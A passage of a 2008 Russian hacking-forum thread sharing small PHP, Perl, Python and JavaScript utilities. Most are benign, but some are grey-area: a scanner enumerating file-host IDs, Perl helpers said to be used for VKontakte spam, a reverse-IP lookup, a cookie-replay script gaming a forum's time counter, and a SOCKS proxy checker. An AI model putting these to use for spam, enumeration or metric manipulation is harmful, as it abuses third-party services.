Просмотр полной версии : Полезные скрипты
<?
set_time_limit(0);
echo "
<form method=POST>
<div align=center>
<table cellpadding=0 cellspacing=0 width=242 id=table1 height=113 border=1>
<tr>
<td valign=top><span lang=en-us>Slil.ru</span></td>
<td height=22 valign=top>
<input type=radio value=slil checked name=s></td>
</tr>
<tr>
<td valign=top><span lang=en-us>
WebFile.ru</span></td>
<td height=22 valign=top>
<input type=radio name=s value=webfile></td>
</tr>
<tr>
<td valign=top><span lang=en-us>
Ifolder.ru</span></td>
<td height=22 valign=top>
<input type=radio name=s value=ifolder></td>
</tr>
<tr>
<td valign=top><span lang=en-us>
DepositFiles.com</span></td>
<td height=22 valign=top>
<input type=radio name=s value=depositfiles></td>
</tr>
<tr>
<td valign=top>Сканить </td>
<td height=22 valign=top>С <input type=text name=ot size=7> <br>До<input type=text name=do size=7></td>
</tr>
<tr>
<td> </td>
<td height=25 valign=top>
<input type=submit value=Скан name=B1></td>
</tr>
<tr>
<td width=87> </td>
<td height=22 valign=top width=155> </td>
</tr>
</table>
</div>
</form>
<hr>
";
echo "$s<br><br>";
if($ot=="" || $do==""){exit();}
if($s=="webfile"){
$c = "1573042";
ob_flush();
flush();
for($i=$ot;$i<$do;$i++) {
$url = "http://webfile.ru/$i";
$html=file_get_contents("$url");
preg_match("/\<font size=\"\+1\"\>\<b\>(.*?)\<\/b\>\<\/font\>/si", $html, $text);
$fn=strip_tags($text[1],"");
$fn = str_replace("","",$fn);
ob_flush();
flush();
if($fn==""){$fn="Eroor";}
echo "[<a target=_blank href=http://webfile.ru/$i>$i</a>:$fn]<br>\n\r";
ob_flush();
flush();
}
}
if($s=="slil"){
$c = "25034857";
for($i=$ot;$i<$do;$i++) {
$url = "http://slil.ru/$i";
$html=file_get_contents("$url");
preg_match("/Спасибо всем, кто помогает развивать ресурс(.*?)\закачка файла/si", $html, $text);
$fn=strip_tags($text[1],"");
$fn = str_replace("","",$fn);
ob_flush();
flush();
echo "[<a target=_blank href=http://slil.ru/$i>$i</a>:$fn]<br>\n\r";
ob_flush();
flush();
}
}
if($s=="ifolder"){
for($i=$ot;$i<$do;$i++) {
$url = "http://ifolder.ru/$i";
$html=file_get_contents("$url");
preg_match("/\Название(.*?)\<\/b\>\<br\>/si", $html, $text);
//print_r($text);
$fn=strip_tags($text[1],"");
ob_flush();
flush();
echo "[$i:$fn]<br>";
ob_flush();
flush();
}
}
if($s=="depositfiles"){
for($i=$ot;$i<$do;$i++) {
$url = "http://depositfiles.com/ru/files/$i";
$html=file_get_contents("$url");
preg_match("/\Имя Файла: \<b title=\"(.*?)\"\>/si", $html, $text);
$fn=strip_tags($text[1],"");
$fn = str_replace("","",$fn);
ob_flush();
flush();
if($fn==""){$fn="Eroor";}
echo "[<a target=_blank href=$url>$i</a>:$fn]<br>\n\r";
}
}
?>
Функция, генерирующая случайные буквы или цифры с заданным количеством символов.
Первый параметр функции gen() - количество символов, второй - буквы(1)/цифры(2).
<?php
gen(3,1);
function gen($num, $vari) {
for($i = 0; $i < $num; $i++) {
switch($vari) {
case 1:
$abc = array('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z');
echo $abc[mt_rand(0,9)];
break;
case 2:
echo mt_rand(0,9);
break;
}}}
?>
heretic1990
15.11.2008, 22:59
скрипт показывает Координаты мыши
<form name="Show">
X <input type="text" name="MouseX" value="0" size="4"><br>
Y <input type="text" name="MouseY" value="0" size="4"><br>
</form>
<script language="JavaScript1.2">
<!-- Original: CodeLifter.com (support@codelifter.com) -->
<!-- Begin
var IE = document.all?true:false;
if (!IE) document.captureEvents(Event.MOUSEMOVE)
document.onmousemove = getMouseXY;
var tempX = 0;
var tempY = 0;
function getMouseXY(e) {
if (IE) { // grab the x-y pos.s if browser is IE
tempX = event.clientX + document.body.scrollLeft;
tempY = event.clientY + document.body.scrollTop;
}
else { // grab the x-y pos.s if browser is NS
tempX = e.pageX;
tempY = e.pageY;
}
if (tempX < 0){tempX = 0;}
if (tempY < 0){tempY = 0;}
document.Show.MouseX.value = tempX;
document.Show.MouseY.value = tempY;
return true;
}
// End -->
</script>
Пример 3d капчи..
<?
$capthca = new Capthca3d();
$capthca->render();
class Capthca3d{
const CHARS = 'WEafRTYIPAGHJKXBNM3479j';
protected $hypot = 8;
protected $image = null;
protected $text = 'achat';
public function __construct()
{
$this->time = microtime(true);
$this->generateCode();
}
protected function generateCode()
{
$chars = self::CHARS;
for($i =0; $i<5; $i++){
$this->text .= $chars{ mt_rand(0,22)};
}
}
public function getText()
{
return $this->text;
}
protected function getProection($x1,$y1,$z1)
{
$x = $x1 * $this->hypot;
$y = $z1 * $this->hypot;
$z = -$y1 * $this->hypot;
$xx = 0.707106781187;
$xy = 0;
$xz = -0.707106781187;
$yx = 0.408248290464;
$yy = 0.816496580928;
$yz = 0.408248290464;
$cx = $xx*$x + $xy*$y + $xz*$z;
$cy = $yx*$x + $yy*$y + $yz*$z+ 20 * $this->hypot;
return array(
'x' => $cx,
'y' => $cy
);
}
function zFunction($x,$y){
$z = imagecolorat($this->image,$y/2,$x/2)>0?2.6:0;
if( $z != 0 ){
$z += mt_rand(0,60)/100;
}
$z += 1.4 * sin(($x+$this->startX)*3.141592654/15)*sin(($y+$this->startY)*3.141592654/15);
return $z;
}
public function render()
{
$xx =30;
$yy =60;
$this->image = imageCreateTrueColor($yy * $this->hypot , $xx * $this->hypot);
$whiteColor = imageColorAllocate($this->image,255,255,255);
imageFilledRectangle($this->image,0,0,$yy * $this->hypot , $xx * $this->hypot,$whiteColor);
$textColor = imageColorAllocate($this->image,0,0,0);
imageString($this->image, 5, 3, 0, $this->text, $textColor);
$this->startX = mt_rand(0,$xx);
$this->startY = mt_rand(0,$yy);
$coordinates = array();
for($x = 0; $x < $xx + 1; $x++){
for($y = 0; $y < $yy + 1; $y++){
$coordinates[$x][$y] = $this->getProection($x,$y,$this->zFunction($x,$y));
}
}
for($x = 0; $x < $xx; $x++){
for($y = 0; $y < $yy; $y++){
$coord = array();
$coord[] = $coordinates[$x][$y]['x'];
$coord[] = $coordinates[$x][$y]['y'];
$coord[] = $coordinates[$x+1][$y]['x'];
$coord[] = $coordinates[$x+1][$y]['y'];
$coord[] = $coordinates[$x+1][$y+1]['x'];
$coord[] = $coordinates[$x+1][$y+1]['y'];
$coord[] = $coordinates[$x][$y+1]['x'];
$coord[] = $coordinates[$x][$y+1]['y'];
$c = (int) ($this->zFunction($x,$y)*32);
$linesColor = imageColorAllocate($this->image, $c, $c, $c);
imageFilledPolygon($this->image, $coord, 4, $whiteColor);
imagePolygon($this->image, $coord, 4, $linesColor);
}
}
$textColor = imageColorAllocate($this->image,0,0,0);
imageString($this->image, 5, 3, 0, $this->text, $whiteColor);
imageString($this->image, 1, 3, 0, (microtime(true)-$this->time), $textColor);
header('Content-Type: image/png');
imagepng($this->image);
imagedestroy($this->image);
}
}
?>
KAndy(С)
http://img.pixs.ru/images/newpng_6339666_112330.png (http://pixs.ru/?ref=112330)
Анализатор логов PHP-на-Apache
Иногда бывает полезен..
#!/usr/local/bin/php
<?php
//Jenkins 0.2a - a php-on-apache log analyzer
//by coldFlame [http://coldflame.in.ua]
//Feel free to send comments or suggestions to [me@coldflame.in.ua]
//Feel free to modify the script to suit your personal needs.
//Do not redistribute the script in any form.
//
//Crontab line to run Jenkins daily, rotate logs, and send a report to your morning mail:
//05 00 * * * www ~/scripts/jenkins.php -mme@coldflame.in.ua -r/var/log/apache2/*.error.log
//Usage: jenkins.php <errorlog> <errorlog> ...
//options: -m<email_address> emails the log instead of displaying it
// -r<file_mask> emails the log instead of displaying it
$log_files = array();
for ($i = 1; $i < $_SERVER['argc']; ++$i) {
if ($_SERVER['argv'][$i][0] == '-') {
$code = $_SERVER['argv'][$i][1];
$value = substr($_SERVER['argv'][$i],2);
switch($code) {
case 'm':
$mailto = $value;
break;
case 'r':
$rotatelogmask = $value;
break;
default:
echo "Unrecognized parameter: -$code\n";
die;
}
} else {
$log_files[] = $_SERVER['argv'][$i];
}
}
if (isset($rotatelogmask)) {
$glob = glob($rotatelogmask);
//rotate logs
foreach ($glob as $filename) {
$filename = strval($filename);
if (is_file($filename)) {
$new_log_filename = $filename.'.j';
if (is_file($new_log_filename)) {
unlink($new_log_filename);
}
rename($filename, $new_log_filename);
$log_files[] = $new_log_filename;
}
}
//HUP the apache server
$pid = intval(trim(file_get_contents('/var/run/httpd.pid')));
posix_kill($pid, 1);
}
if (empty($log_files)) {
echo "Usage: jenkins.php <log_file> <log_file> ...\n";
echo " -m<email> - send report to <email> instead of displaying it\n";
echo " -r<file_mask> - rotate logs and sighup apache";
die;
}
if (isset($mailto)) {
ob_start();
}
foreach ($log_files as $log_filename) {
$log_file = fopen($log_filename,'r');
$error_times = array();
$error_counts = array();
$total_count = 0;
$php_count = 0;
$unique_count = 0;
while ($line = trim(fgets($log_file))) {
++$total_count;
if (preg_match('@^\[([^\]]+)] \[[^\]]+] \[[^\]]+] PHP ([^:]+): (.+) in (.+) on line (\d+)(, referer: (.+)|)$@',$line,$matches)) {
//it's a php error message
++$php_count;
$error_msg = trim($matches[2]) . "\n" . trim($matches[3]) . "\n" . trim($matches[4]) . "\n" . trim($matches[5]);
$error_times[$error_msg] = date('d.m.y H:i',strtotime( $matches[1] ));
if (!isset($error_counts[$error_msg])) {
$error_counts[$error_msg] = 1;
} else {
++$error_counts[$error_msg];
}
}
}
fclose($log_file);
arsort($error_counts);
$error_messages = array_keys( $error_counts );
$unique_count = count($error_messages);
?>
<h1>Jenkins report for <?php echo htmlspecialchars($log_filename);?></h1>
Total lines in log: <b><?php echo $total_count?></b><br>
Lines recognized as PHP errors: <b><?php echo $php_count?></b><br>
Unique PHP error messages: <b><?php echo $unique_count?></b><br>
<?php if ($unique_count == 0) { ?>
Hooray, no errors!<br>
<?php } else { ?>
<h2>Error messages</h2>
<?php foreach ($error_messages as $message) {
$count = $error_counts[$message];
$time = $error_times[$message];
$message = explode("\n",$message);
$colors = array(
'Notice' => '#4a6d00',
'Error' => '#ff9c00',
'Warning' => '#dace48',
'Fatal error' => '#cb0808'
);
$message_color = isset($colors[$message[0]]) ? $colors[$message[0]] : '#000000';
?>
<span style="color:<?php echo $message_color ?>"><b><?php echo htmlspecialchars($message[0]); ?>:</b></span>
<?php echo htmlspecialchars($message[1]); ?>
<code>[<?php echo htmlspecialchars($message[2]); ?>:<?php echo htmlspecialchars($message[3]); ?>]</code>
<span style="color:#aaaaaa">(<?php echo $count;?>#
@<?php echo $time; ?>)</span><br>
<?php }
}
}
?>
<hr>
Report generated at <?php echo date('r'); ?><br>
<a href="http://coldflame.in.ua/jenkins">Jenkins</a> 0.2a - an PHP-on-Apache error log analyzer<br>
© 2008 <a href="http://coldflame.in.ua">coldFlame</a>
<?php
if (isset($mailto)) {
$contents = ob_get_contents();
ob_end_clean();
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=utf-8' . "\r\n";
mail($mailto, 'Jenkins analyzer report for '.date('d.m.Y'), $contents, $headers);
}
?>
Закачка ролика на ruTube с использованием cURL
if (move_uploaded_file($_FILES['data']['tmp_name'], $fname))
{
$array_var = array('save' => 'y',
'rt_mode' => 'do_upload',
'rt_developer_key' => $rt_developer_key,
'rt_redirect_ok' => 'http://'.$_SERVER['SERVER_NAME'].'/upload.html?redirect=ok',
'rt_redirect_error' => 'http://'.$_SERVER['SERVER_NAME'].'/upload.html?redirect=error',
'rt_auto_publish' => $auto_publish,
'rt_user' => '',
'rt_sign' => '',
'rt_enc' => 'UTF-8',
'referer' => 'http://'.$_SERVER['SERVER_NAME'].'/upload.html',
'title' => $name,
'rt_tags' => $tags,
'comment' => $description,
'category' => $rutube_cat,
'data'=> '@'.$fname
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://uploader.rutube.ru/cgi-bin/jsapi.cgi");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, $array_var);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);
if ($response)
{
$response = split("\r\n\r\n", $response);
$response = trim(preg_replace('/.*Location:.*redirect=(\S*).*/i', '$1', strtr($response[0],array("\n" =>' ', "\r" => ' '))));
if (strpos($response, 'error') === false)
{
//ролик успешно загружен на rutube
$response = preg_replace('/.*rt_movie_id=(.*)/i', '$1', $response); //полученный временный id
$sql->Query('INSERT INTO movie SET category_id='.$category.',name="'.SQL_STR.'",description="'.SQL_STR.'",date='.time().', author = "'.SQL_STR.'",user_id='.$user['id'].',status=1,rutube_id="'.SQL_STR.'", tags="'.SQL_STR.'"', $name, $description, $author, $response, $tags);
header('Location: http://'.$_SERVER['SERVER_NAME'].'/upload.html?successful');
}
}
}
heretic1990
19.11.2008, 21:35
Скрипт для проверки Информации о IP используя whois
infoip.php
<?
if (!isset($_POST['submit']))
{
?>
<html>
<head>
<title>Информация о IP</title>
</head>
<body>
<center>
<H4>Информация об IP-адресе</H4>
<FORM action=infoip.php method=post>
<INPUT type=text name=ip size=35>
<input type=submit name = submit value = 'Проверить'>
</form>
</center>
<?
}
else
{
if ($_POST['ip']!= "")
{
$sock = fsockopen ("whois.ripe.net",43,$errno,$errstr);
if (!$sock) {
echo("$errno($errstr)");
return;
}
else {
fputs ($sock, $_POST['ip']."\r\n");
while (!feof($sock)) {
echo (str_replace(":",": ",fgets ($sock,128))."<br>");
}
}
fclose ($sock);
}
}
?>
У кого есть скрипт как вот здеся http://avatka.ru/??? Или где моно взять?
пара перл скриптов, использовались при спаме vконтактe.
Удаление повторяющихся строк
#!/usr/bin/perl -w
# Удаление повторяющихся строк
# by [dei]
############ Config #############
$file = 'acs.txt';
#############################
open(F1,"< $file");
@lines = <F1>;
close F1;
for($i=0;$i<@lines;$i++) {
for($i2=$i+1;$i2<@lines;$i2++) {
if($lines[$i] eq $lines[$i2]) { splice @lines, $i2, 1; }
}
}
open(F2,"> $file");
print F2 join('',@lines);
close F2;
Разбивка одного файла на равные мелкие файлы
#!/usr/bin/perl -w
# Разбивка файла на мелкие
# by [dei]
############ Config #############
$file = 'groups.txt';
$newname = 'groups.txt';#к имени прибавляется порядковый номер
$count = 10;
#############################
use POSIX qw(ceil);
open(FF,"< $file");
@lines = <FF>;
close FF;
$x = ceil(($#lines+1)/$count);
for($i=1;$i<=$count;$i++){
$newname =~ s/([0-9]*|)\.txt/$i\.txt/;
$f = F.$i;
open($f,"> $newname");
$n1 = $i * $x - $x;
if($i==$count) { $n2 = $#lines+1; }
else { $n2 = $i * $x; }
for($i2=$n1;$i2<$n2;$i2++) {
print $f $lines[$i2];
}
}
[dei], написал бы для чего какой скрипт!
Tigger а ты коментарии читать не умеешь ?
heretic1990
30.11.2008, 19:04
Генератор статуса skype
skype.php
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Генератор статуса skype</title>
</head>
<body>
<form action="skype.php" method="post">
<input name="skype" type="text" value="Введите ник" />
<input name="submit" type="submit" value="Получить код" />
</form>
<?
if (isset ($skype))
{
echo "<script type="text/javascript" src="http://download.skype.com/share/skypebuttons/js/skypeCheck.js"> </script>
<a href="skype:";
echo $skype;
echo "?chat"><img src="http://mystatus.skype.com/smallicon/";
echo $skype;
echo "" style="border: none;" width="16" height="16" alt="Мой статус в Skype" />";
}
?>
</body>
</html>
Architek86
30.11.2008, 23:29
Может, у кого то есть парсер virustotal.com?
Необходимо скриптом сайта mysite.ru с его же сервера отправлять файл вирустоталу, после чего выводить результат на mysite.ru.. народ, такое реально???
Tigger а ты коментарии читать не умеешь ?
И правда! не заметил =)
А вот в таком тоне со мной разговаривать не обязательно!!!
Может, у кого то есть парсер virustotal.com?
Необходимо скриптом сайта mysite.ru с его же сервера отправлять файл вирустоталу, после чего выводить результат на mysite.ru.. народ, такое реально???
Папа а люди есть?
Такое реально сделать, сначало загружаешь к себе на хост файл для проверки, потом через CURL заливаешь
на virustotal.com, парсишь. Только там надо будет еще повозиться что бы снять результат, там через аякс сделано, с часик посидеть и будет все. Удачи в начинаниях (:
Простенький парсер яндекс серча.
Создаем новый объект -> setQuery('текст для поиска в утф-8', 'страница(0- по умолчанию)', 'сортировать результаты - yes/no');
$yd->ydSend(); //отправляем все
В методе parse останется массив $resarr с результатами поиска.
<?php
/**
* @name Yandex Xml parser
* @author Chaak
*/
class yaXML
{
private $query = '';
private $page = 0;
private $sort = 'yes';
private $xml = '';
private $result = '';
private $parsed = array();
/**
* Отправляет заголовки на сервер
* @param лень писать, рука отвалится :)
*/
private function socket_do($action,$method,$header = false,$timeout = 10,$params = false,$follow = false,$cookie = false,$referer = false)
{
$ch = curl_init();
if(strtoupper($method) == 'GET')
{
$action .= '?'.$params;
curl_setopt($ch,CURLOPT_URL,$action);
curl_setopt($ch,CURLOPT_HTTPGET,1);
} elseif(strtoupper($method) == 'POST')
{
curl_setopt($ch,CURLOPT_URL,$action);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$params);
}
else
{
curl_setopt($ch,CURLOPT_URL,$action);
}
if(@$this->proxy)
{
curl_setopt($ch,CURLOPT_PROXY,$proxy);
}
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,$follow);
curl_setopt($ch,CURLOPT_FAILONERROR,false);
curl_setopt($ch,CURLOPT_HEADER,$header);
curl_setopt($ch,CURLOPT_USERAGENT,'Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');
curl_setopt($ch,CURLOPT_REFERER,$referer);
curl_setopt($ch,CURLOPT_COOKIE,$cookie);
curl_setopt($ch,CURLOPT_TIMEOUT,$timeout);
$done = curl_exec($ch);
curl_close($ch);
return $done;
}
/**
* Подготавливает запрос
* @access private
* @return void
*/
private function prepareQuery()
{
$this->query = htmlspecialchars(stripslashes(substr($this->query,0,150)));
$this->page = (int)$this->page;
$this->sort = ((strtolower($this->sort) != 'yes') && (strtolower($this->sort) != 'no'))?('yes'):($this->sort);
$this->xml = '<request><query>'.$this->query.'</query><page>'.$this->page.'</page><sort priority="'.$this->sort.'" /></request>';
}
/**
* Функция отправки данных на ЯД
* @access private
* @return void
*/
private function sendXMLData()
{
if(!$this->result = $this->socket_do('http://xmlsearch.yandex.ru/xmlsearch/','post',0,15,$this->xml,1))
{
die('Ошибка соединения');
}
}
/**
* Парсит запрос
* @return void
*/
private function parse()
{
if($this->result)
{
//парсим урлы
preg_match_all('#<url>(.*?)</url>#i',$this->result,$urls);
$urls = array_unique($urls['1']);
//парсим титлы
preg_match_all('#<title>(.*?)</title>#i',$this->result,$titles);
$titles = $titles['1'];
//парсим примеры текстов
preg_match_all('#<passage>(.*?)</passage>#i',$this->result,$passage);
$passage = $passage['1'];
if($urls)
{
$resarr = array();
for($i = 0,$c = sizeof($urls); $i < $c; $i++)
{
$resarr[$i] = array('title' => strip_tags($titles[$i]),'passage' => strip_tags($passage[$i]),'url' => $urls[$i]);
}
echo '<pre>';
print_r($resarr);
echo '</pre>';
}
else
{
echo $this->result;
}
}
else
{
die('Запрос вернул пустое значение');
}
}
/**
* Устанавливает неободимые параметры
* @param (string)query - запрос, (int)page - страница, (string) sort - сортировать?
* @access private
* @return bool
*/
public function setQuery($query,$page = 0,$sort = 'yes')
{
$this->query = $query;
$this->page = $page;
$this->sort = $sort;
}
/**
* No comments
*/
public function ydSend()
{
$this->prepareQuery();
$this->sendXMLData();
$this->parse();
}
}
$yd = new yaXML();
$yd->setQuery(urldecode(iconv('windows-1251','utf-8',$_GET['text'])),$_GET['page'],$_GET['sort']);
$yd->ydSend();
?>
Не знаю как у вас, а у меня файлы и сами торрент файлы хранятся в одной папке и часто удаляю я файлы просто shift+delete поэтому мусорка за 10 месяцев набралась просто страшная, собственно написал скрипт который удаляет торрент файл если не найден файл
#!/usr/bin/python2.5
import os
import re
def read_f(path):
data = open(path, "r").read()
num = re.search(":name(\d+)", data).group(1)
name = re.search(":name(\d+):(.{%s})" % num, data).group(2)
return name
path = 'C:\\Torrents\\'
files = [(file) for file in os.listdir(path) if file.endswith('.torrent')]
for file in files:
name = read_f(path+file)
if not os.path.exists(path+name):
os.remove(path+file)
heretic1990
07.12.2008, 14:16
Защита "ящика" от роботов
Простейший способ защиты своего E-mail от роботов, которые шарят по сайтам и ВОРУЮТ почтовые адреса для спаммеров. Адрес, записанный JavaScript кодом абсолютно пригоден для посетителей и столь же затруднителен в добывании для роботов.
<SCRIPT LANGUAGE="JavaScript">
<!-- Original: CDR Software -->
<!-- Web Site: http://www.cdrsoft.com -->
<!-- This script and many more are available free online at -->
<!-- The JavaScript Source!! http://javascript.internet.com -->
<!-- Begin
user = "eugenezz";
site = "yandex.ru";
document.write('<a href=\"mailto:' + user + '@' + site + '\">');
document.write(user + '@' + site + '</a>');
// End -->
</SCRIPT>
vikseriq
07.12.2008, 23:01
Сорри, но это уже прошлый век - не прокатит. На собственной шкуре знаю. Там обычно или анализ кода ("user + '@' + site" -> гребем переменные), или уже парсинг страницы с выполненным js ( в ][ даже статья была, как это сделать )
heretic1990
07.12.2008, 23:30
и столь же затруднителен в добывании для роботов.
vikseriq а я и не говорил что на 100% поможет от ботов!
а если так???
<script language="javascript" type="text/javascript" src="script.js"></script>
Для указания e-mail
<script language="javascript" type="text/javascript"> maillink("address","mail","ru"); </script>
script.js
function maillink(mailprefix, maildomain, mailsuffix, mailname)
{
if (mailname == null) { mailname = "address@mail.ru"; }
document.write('<a href="mailto:' + mailprefix + '%40' + maildomain + '.' + mailsuffix + '">' + mailname + '</a>');
}
heretic1990
07.12.2008, 23:42
А ваще лучше так защитить: с помощью размещения текста на изображении.
img_contacts.php
<?
// Строка с e-mail адресом
$email="E-mail: user@site.ru";
// Строка с ICQ
$icq="ICQ: 123456";
// Создаем изображение с помощью библиотеки GD шириной 200 и высотой 30 пикселей
$im = imagecreate(200, 30);
// Задаем белый цвет (для фона)
$bg = imagecolorallocate($im, 255, 255, 255);
// Задаем черный цвет для шрифта
$black = imagecolorallocate($im, 0x00, 0x00, 0x00);
// Задаем размер шрифта
$size=4;
// Делаем белый цвет прозрачным
imagecolortransparent($im,$bg);
// Наносим надписи на изображение
imagestring($im,$size,0,0,$email,$black);
imagestring($im,$size,0,15,$icq,$black);
// Посылаем браузере заголовок о выводе изображения
header('Content-type: image/png');
// Выводим изображение в формате PNG
imagepng($im);
?>
Вывод инфы:
<img src='img_contacts.php' border='0' alt='Информация'>
Pashkela
11.12.2008, 00:42
С описанием к каждой фотке (картинке) в отдельно открывающемся окне (если нажать на картинку):
Создаем четыре файла:
1. zakat1.jpg
2. zakat2.jpg
3. fail1.txt (Здесь описание картинки zakat1.jpg)
4. fail2.txt (Здесь описание картинки zakat1.jpg)
и такой index.html:
Код:
<html>
<head>
<title>Дополнительное окно с кнопкой ОТКРЫТЬ на странице и кнопкой ЗАКРЫТЬ в окне</title>
<SCRIPT language="JavaScript">
function openwindow(i)
{
windop=window.open("fail.txt","mywindow","menubar=1,resizable=1,width=350,height=250");
windop.document.open();
windop.document.write("<html><head><title>Название странички</title>");
windop.document.write("</head><bоdу bgcolor=#FFFFCC>");
windop.document.write("<center><font face= serif,Arial,Verdana size=3 color=#000000><b>Заголовок текста на страничке</b></font></center>");
windop.document.write("<iframe src='fail"+i+".txt'></iframe>");
windop.document.write("<center><form><input type='button' value='Закрыть' onClick='window.close()'></form></center>");
windop.document.write("</bоdу></html>");
windop.document.close();
}
</SCRIPT></head>
<bоdу>
<SCRIPT language="JavaScript">
for (var i = 1; i <= 2; i++)
{
document.write(i);
document.write("<FORM ACTION=\"javascript:openwindow("+i+")\"><INPUT TYPE=IMAGE SRC=\"zakat"+i+".jpg\" HEIGHT=76 WIDTH=62 ALT=\"Yes\" BORDER=0 NAME=\"Yes\" ></form> ");
}</SCRIPT>
</bоdу>
</html>
Пихаем это всё в одну папку и запускаем index.html
(c) Pashkela
De-visible
11.12.2008, 01:10
IP [reverse] Script v 0.1
[Архив]
В архиве два файла:
1)IpTool.py - сам скрипт
2)result.txt - сюда записываются результаты
[Описание]
Скрипт определяет сколько сайтов расположено на одном сервере.
Результаты выводит на экран, и записывает(каждый раз дописывает) в файл [result.txt] результат.
Написан на питоне, юзаем))
[Скрипт]
# -*- coding: cp1251 -*-
#antichat.ru
#author De-visible[ICQ#:22-3333-575]
import urllib,re
global site
global ipURL
def AboutScript():
print """
###############About################
# #
# [Reverse IP]Script v 0.1 #
# #
#___c0ded by De-visible____________#
#___GreetZ to antichat.ru__________#
#___ICQ: 22-3333-575_______________#
#___special for antichat's users___#
#___(c)2008________________________#
####################################
"""
def SaveToFile(writebuf):
f=open("result.txt",'a')
f.write("\n\n")
f.write("site: "+site+" ["+ipURL+"?ip="+site+"]: \n")
f.write("----------------------\n")
for i in writebuf:
f.write(i+"\n")
f.write("\n----------------------")
f.close
def Trace(text_):
print "\n\n"
print "site: "+site+" ["+ipURL+"?ip="+site+"]: "
print "----------------------\n"
for i in text_:
print " "+i
print "----------------------\n"
print "\n\n ::: process completed ::: "
def GetIP():
data={"ip": site}
send_data = urllib.urlencode(data)
ipLog=urllib.urlopen(ipURL+"?"+send_data)
text_=ipLog.read()
txt_=re.findall(r"(www.*?)<\/li>",text_)
Trace(txt_)
SaveToFile(txt_)
def Readln():
while 1:
pass
AboutScript()
site="yandex.ru"#Сюда вписываем сайт
ipURL="http://2ip.ru/server.php"#Это не трогаем:)
GetIP()
#Readln()#Что бы консоль не исчезала сразу.
#----------------
[Download]
http://rapidshare.com/files/172182987/IP_reverse_.rar.html
Поднятие времени проведенного за чтением форума, ака увлечение значения «Провел на форуме».
Files:
- ach_cookie.txt Файл в котором хранятся наши Куки от форума Antichat.
Как получить?
Заходим на форум (http://forum.antichat.ru/), и в адресной строке браузера пишем:
javascript:document.write(document.cookie)
Содержмивое копируем в ach_cookie.txt. Сохраняем, забываем.
- ach_log.txt Лог скрипта, ака файл благодаря которому мы можем убедиться, что скрипт весит в фоновом режиме и даже работает. В лог записывается время последней удачной отправки GET на форум.
- ach_run.php и собственно сам скрипт, который выполняет отправку GET запроса с нашими кукисами, каждые n минут. Запускаем - нас кидает на гугл. А скрипт начинает работу. Или сами закрываем страницу.
И логами время от времени проверяем работоспособность.
<?php
ignore_user_abort(true);
set_time_limit(false);
function doSomthing()
{
$cookie = file_get_contents("ach_cookie.txt");
$sock = fsockopen("forum.antichat.ru", 80, $errno, $errstr, 30);
if(!$sock) return false;
else {
$headers = "GET /index.php HTTP/1.1\r\n";
$headers .= "Host: forum.antichat.ru\r\n";
$headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\r\n";
$headers .= "Cookie: $cookie\r\n";
$headers .= "Connection: Keep-Alive\r\n\r\n";
fwrite($sock, $headers);
if(strpos(fgets($sock, 20),'200 OK')) return true;
else return false;
fclose($sock);
}
}
if(ob_get_level() == 0)
ob_start();
header("Location: http://www.google.ru/");
ob_flush();
flush();
while(true)
{
ob_flush();
flush();
if(doSomthing()) {
file_put_contents("ach_log.txt",date("j M H:i"));
sleep(60*5);
}
else break;
}
ob_end_flush();
?>
.:EnoT:.
11.12.2008, 16:06
Нашёл на компе скрипт, когда-то писал...щас подправил немного, хз зачем выложил, пусть валяется, можт пригодится кому ))
<?php
/*
Скрипт для скачивания видео с Video.mail.ru
by EnoT
*/
$link = !empty($_POST['link']) ? $_POST['link'] : '';
if($link){
$link = str_ireplace('www.', '', $link);
$link = stripos($link, 'http://') === false ? 'http://'.$link : $link;
if(preg_match('#^http://video\.mail\.ru/(mail|bk|list|inbox)/([a-z0-9-_\.]{1,16})/([0-9]+)/([0-9]+)\.html.*$#i', $link, $out)){
$download = 'http://video.mail.ru/'.$out[1].'/'.$out[2].'/'.$out[3].'/v-'.$out[4].'.flv';
header('HTTP/1.1 200 Ok');
header('Content-Type: video/x-flv');
header('Content-Disposition: attachment; filename="'.$out[4].'";');
die(readfile($download));
}else{
echo '<br/>Неверный формат ссылки<br/>';
}
}
?>
<html></body><center><h3>Скачать видео с mail.ru </h3><br/>
введите ссылку:
<form action="" method="post">
<input name="link" type="text" size="70" value="http://" />
<input type="submit" value="Скачать" />
</form>
</center></body></html>
Enot, полезный скрипт)) А для закаччки фоток c mail.ru есть скриптик))?
presidentua
12.12.2008, 02:51
скрипт на Питоне для многопоточного чека Соксов5
-------------------
Run as:
roastest.py input.file output.file count_theard site_test timeout
Example:
roastest.py input.txt output.txt 5 ya.ru 10
- эт в линуксе.
Для работы нужна библиотека pycurl
-----------------
#!/usr/bin/python
try:
import sys
except:
print 'error load library - sys'
try:
import thread
except:
print 'error load library - thread'
try:
import StringIO
except:
print 'error load library - StringIO'
try:
import pycurl
except:
print 'error load library - pycurl'
def test_socks():
global list, fo, count_thead, count_good_proxy
while ( len(list)>0 ):
proxy = list.pop()
wf = StringIO.StringIO()
c = pycurl.Curl()
c.setopt(pycurl.USERAGENT, 'Opera/9.50 (X11; Linux i686; U; ru)')
c.setopt(pycurl.FOLLOWLOCATION, 0)
c.setopt(pycurl.CONNECTTIMEOUT, sys.argv[5])
c.setopt(pycurl.URL, sys.argv[4])
c.setopt(pycurl.WRITEFUNCTION, wf.write)
c.setopt(pycurl.PROXYTYPE,pycurl.PROXYTYPE_SOCKS5)
c.setopt(pycurl.HTTPPROXYTUNNEL, 1)
c.setopt(pycurl.PROXY, proxy)
try:
c.perform()
except:
pass
c.close()
rez = wf.getvalue()
if (len(rez)>100):
fo.write(proxy)
